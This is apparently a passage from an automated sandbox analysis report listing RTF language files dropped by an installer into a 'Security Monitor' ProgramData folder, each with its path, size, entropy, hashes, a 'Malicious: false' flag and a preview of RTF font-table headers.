SHA-512:	838AE1B09A693DE3A21C37087192C58F56D1D318A6265DA290CA1AB449DA85716BDD8B0D32B0D6D37EAADEDD2D8B89F31BC1F8A800A28B058286490A4720E9D0
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fchar

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-2C3CC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	38881
Entropy (8bit):	5.021685226499464
Encrypted:	false
SSDEEP:	768:jnTmrRl+4AnbIWIRV9u6KSsouXIhUGD+hZCZHHuJfD:jnIZNkfD
MD5:	C105B94880EE7C216A6B9CB11680EE5F
SHA1:	DB8A5F0969428FC77D619742CF14E733281491EE
SHA-256:	1F56475447CBCFC209E9BC0BEF763423EA52CDBC4EBB989EC592025C907C8EAF
SHA-512:	18D9F4336DCD746E374B70D297F5F555745CCBFCDE08689B50BEF3C2CD7A7714867F747472240EE195161142C3DC8A93C985FE6D8D66D7F46878C25B45D99A67
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \fnil\fcharset134\fprq2{\\panose 0201

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-4BPAO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	55605
Entropy (8bit):	5.01205567474232
Encrypted:	false
SSDEEP:	768:joOfxRl14hJboyQZFJiMJu8WjbvMuhisSnPLQStqICnfLrajKyISfle0anZf1L3v:joQxkONkfp
MD5:	2042C1CEA9DAB7F908912F3BFDF63E63
SHA1:	5584A50BCAF968B5EC85B230E9043456D38C8222
SHA-256:	D67F0917369F9D4C556E2F625566C239FEE4DDB6AEF1483DCB2556F23DD3785B
SHA-512:	B0C961BA725096E33D3B586951221A35A77A56D63E0003C301AD30F6D6DB94DF6853124EFE7FE8817F7EEF9F7972434AFC65010885BCE4A9BEFB60D7FF9A5679
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 020206030504050

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-5P9PC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	46478
Entropy (8bit):	5.035284697457925
Encrypted:	false
SSDEEP:	768:jFTmHRlr4QogJAqxAUZ81f4igFt5hCteYHIGdLN1Ho3SShcYZVVkiikVi/nuAIRD:jFuqNkfh
MD5:	7EA6627CEC93F45827C17C30BFE21F60
SHA1:	BA5C79789734B4CD143BAAE12DECE8C07FD18427
SHA-256:	6FFBE7F2A89F1128FA7A950F7B1797E2B73E70839FB7EB79EE5B906C50CB8665
SHA-512:	D8C7ED9808A9045B0BE3D247C06F81FB5563F86DAAC704EB1D056AF0799716B6FA0470D81698F28EE72C5B937E0825F1CE42A9F354CA4C61173A0E72DFCB79ED
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}..{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}..{\fbimajor\f31503\fbidi \f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-8VMSL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	68811
Entropy (8bit):	5.0062740217102695
Encrypted:	false
SSDEEP:	768:qMF2weRlqEW0TgegJ9Vte5iMSf3TDcbIWIRV9hMJu8WjbvH/o2ZuTCHF3wZxyiQg:qMChO5Nkf5
MD5:	9904281F0A850031B5DC777E69ACE68A
SHA1:	1B630CE1A72C6F2A1CB9C8B7A1FC81C2FD2ED3F0
SHA-256:	5888B749E1FC255BF39896EABE4B24B461BB4904549B1050AE8AE72296B72F11
SHA-512:	22C5E7E021B2428225E1595EBF628C83A97BCB76F7D52DD330F72F232E42B9BDAFCDB92A3B858909399700AC1A6FAED2A5A5138B1D66258937698D1684701905
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-BF7L0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	47337
Entropy (8bit):	5.026858098463381
Encrypted:	false
SSDEEP:	768:xaOfIRjZyPCtqICnfLBOHjiqlO8DTO+6X9MsHEW71vUGF87etnC+zc7R+ezr21gQ:xapnVMNkfS
MD5:	F4E08AB548997A7569D407BF6945FF93
SHA1:	374C962B0AD68A101B3DAED59995A904FD2366DF
SHA-256:	5F43BA173258F401DEBA2C385FC136464F11F0BF9C9122D5CB1EDDBBA356D24F
SHA-512:	9F6F81663CCC54ED4B6E57770247EBDE16327C46ACFE14EF01BC3CF1172D9647AFDBED40FA59115DD41BA746428368A34C4307AA4D7B0093C88D86F8C4BAA982
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset2

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-GTTGK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42824
Entropy (8bit):	5.034062607884397
Encrypted:	false
SSDEEP:	768:jFTmHRlU4U7bIWIRV9pqHjiqlO8Dxg+uoH6ewDiUpk8q8l9kSZHHuJfo:jFulNkfo
MD5:	800E7AD84A7B41C281A79786FEA7BA97
SHA1:	994E9061F0AC0F8D5A34B5456B3CB580216F08F6
SHA-256:	6D4DC10220486F098944FBCE97F8B5D03DA6157F7B59F79AF697D60AEDBDAC82
SHA-512:	887318DB58E88701D2B34B7E894EE2132684D0E3C724BC1B6EBA83C5987ECC1D7984018C8915AD0E7EE63E46C8C4258D7F286D2CE804DDFB37289F37676EB5F8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}..{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}..{\fbimajor\f31503\fbidi \f

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-GUCRO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44016
Entropy (8bit):	5.032158423293101
Encrypted:	false
SSDEEP:	768:jaOfIRlR4kgJAqxAUZC25iMSf3TIDgE6/o4WGrHwoKkASAt4Nb4B9SZHHuJf5:japUUNkf5
MD5:	CA0B924C577837EAB433DFACF50B0A2B
SHA1:	5FE70BC33A1A72354EB7CFA7327F993383F5CBF3
SHA-256:	62C5D1371C91B454DDE8DF1DB0D628EE59917A766E42475FD17F6EA1E168837F
SHA-512:	A1A20927E1DD4F3F63D8F9D69C23A4C62920C65972B4967BDE5C6FB49EE375B0FD3BC56F57DDB190C267921779A506C42960AA1E9BD7AF979CF6EBB954AD6925
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fchar

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-IIL8T.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	43205
Entropy (8bit):	5.029790593334823
Encrypted:	false
SSDEEP:	768:joOfYRlj4lmbIWIRV9hiuFfmXYPxz7XzzMVFGqpJzVnz2T8VngbYh8snZHHuJfO:joblNkfO
MD5:	D4CB2191EA1740D821C8C26C19033BE6
SHA1:	3544CFF8E4BCF6BA57A63585AD6DAA2D244DC6D3
SHA-256:	7C075B420A250AC2F36DDAC2834B422FF8B858B0D6E02A9BF7AA5A40FFF6AB39
SHA-512:	D23AB39C0ABA07D99D7F03FAB498C2DADC81247FBC98DD758ABB94413041778BA5A83372F0F5AC20911B1C5F6B61313D6EBA26E966110F482B6B23D3BDAD94CF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 020206030504050

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-JVC6B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	38875
Entropy (8bit):	5.023304885435034
Encrypted:	false
SSDEEP:	768:qMF2weYDc4L7bIWIRV9uUwcpanBczRyZHHuJfv:qM3ZxNkfv
MD5:	AA188680DBFDD29FCFD5767CFC4533D9
SHA1:	3CF7AC902EE42B074B4B5ED13E4529FD11A34ADD
SHA-256:	CC3FA96A625899F9221F3E76B6AB9C7B234DC7A4222C914EC9A78A7AA2D64825
SHA-512:	76C22CF016FF8C7C1122E5738FDCF79957D24A4590EAD2FE570CA833D1CF828F8B333CD105B2078AEF2032C503C03BC2536290E5302417D383889045E3B84817
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-KKP9M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	43011
Entropy (8bit):	5.033750943906381
Encrypted:	false
SSDEEP:	768:jaOfIRll4ugJAqxAUZm25iMSf3Tv5itocjSzFkkqYrMOFAPZ/HuJctS:japiZkoS
MD5:	F7FE0658461246679F5FD2A30AF4F9AE
SHA1:	878199CEF5C2AB4748658880B8A9302CF754216D
SHA-256:	D65035962FAF4E5AEC76B8EB56E186E14907CD955511B21F2E212CF706F08940
SHA-512:	A9232C63302DCB47FD8A53DEF4A5B6A8BAAC23766F98D8051751B3AB4A12F9F1D12644DE7E5E5AC897506D7C33FA2803E3FDC241457F3F925EEB42CC6384D874
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fchar

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-LL2U7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	40154
Entropy (8bit):	5.0200796695222865
Encrypted:	false
SSDEEP:	768:xoOfYRjCjOcPI0QhhiLVjLqPQcCTjwC9UqUkVuss8HD43p8ZHHuJf5:xobLUntNkf5
MD5:	8360940E8A2388A3DE31148F9ED5DCBF
SHA1:	6B44DF438877025970E59C226D3F3D347CCDC264
SHA-256:	AE905D395961C89647DF96F870FB8BFB199D72FF40BD62C6B95413C06CC03927
SHA-512:	1E58457C3359EEED8C187A5F60C09D6CFEAA3A995BE0FD3F22690A02383DF9DEFE5B60EFA1BF8B4FC0975B17683629292D3118DF670C4CBF1DF3141B73D4ACF5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 0202060305040502030

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-NIQOO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	41900
Entropy (8bit):	5.016535633453485
Encrypted:	false
SSDEEP:	768:xoOfYRj7jOcPI0QhhiLV6qiTqP7Mi6uxPwjmkoASoGpngl4ZbbsVj72Q/za1CkCI:xobqUncV/QNkf8
MD5:	4610A71940E165CB27249C3133800D76
SHA1:	395941C9ECEE674429A1108075F9DD0A241CF28B
SHA-256:	AAE092EC9F04F37A0059D595A581A9818DB18A4247B95F237E20EED5571BC843
SHA-512:	D297B3B4AEA83E3107A0C799A238C40060BBF7247DEFEF0E179A2F61ADF06442BFC90577C705CAB0D3D2D0D12BD3C86F56C0B5ED971087C47A1973B54853DE32
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 0202060305040502030

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-O1KT5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	47415
Entropy (8bit):	5.015734147683168
Encrypted:	false
SSDEEP:	768:jnTmY+EN4mXbIWIRV9sK8qoZzNqZiuJo8cDovLQoAn3Brxw2mB+c37DWZlIpIkpU:jnciZhNkfY
MD5:	A7A6E83C7BF0C9446D815E04CB208372
SHA1:	793D0F666A6E771A4864B169BBE282F943D5D043
SHA-256:	B5323857EF076CBEBD3B870F4C8EB5C58B968ED51ACB6821C0A93C2FFE53A1AB
SHA-512:	A5B09DD7D7C362B1807F6B9216318AA3598943688EFA39D4E15DB49DCE7743C9DC2574DC182BFCCFBB3501A7A1273A073FC97F8BC714084806B16DC8F43B49F5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1049\deflangfe2052\themelang1046\themelangfe2052\themelangcs0{\fonttbl{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}..{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt \'cb\'ce\'cc\'e5};}{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Calibri Light;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \fnil\fcharset134\fprq2{\\panose 0201

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\portuguese\is-O79GJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	61874
Entropy (8bit):	5.01308589618829
Encrypted:	false
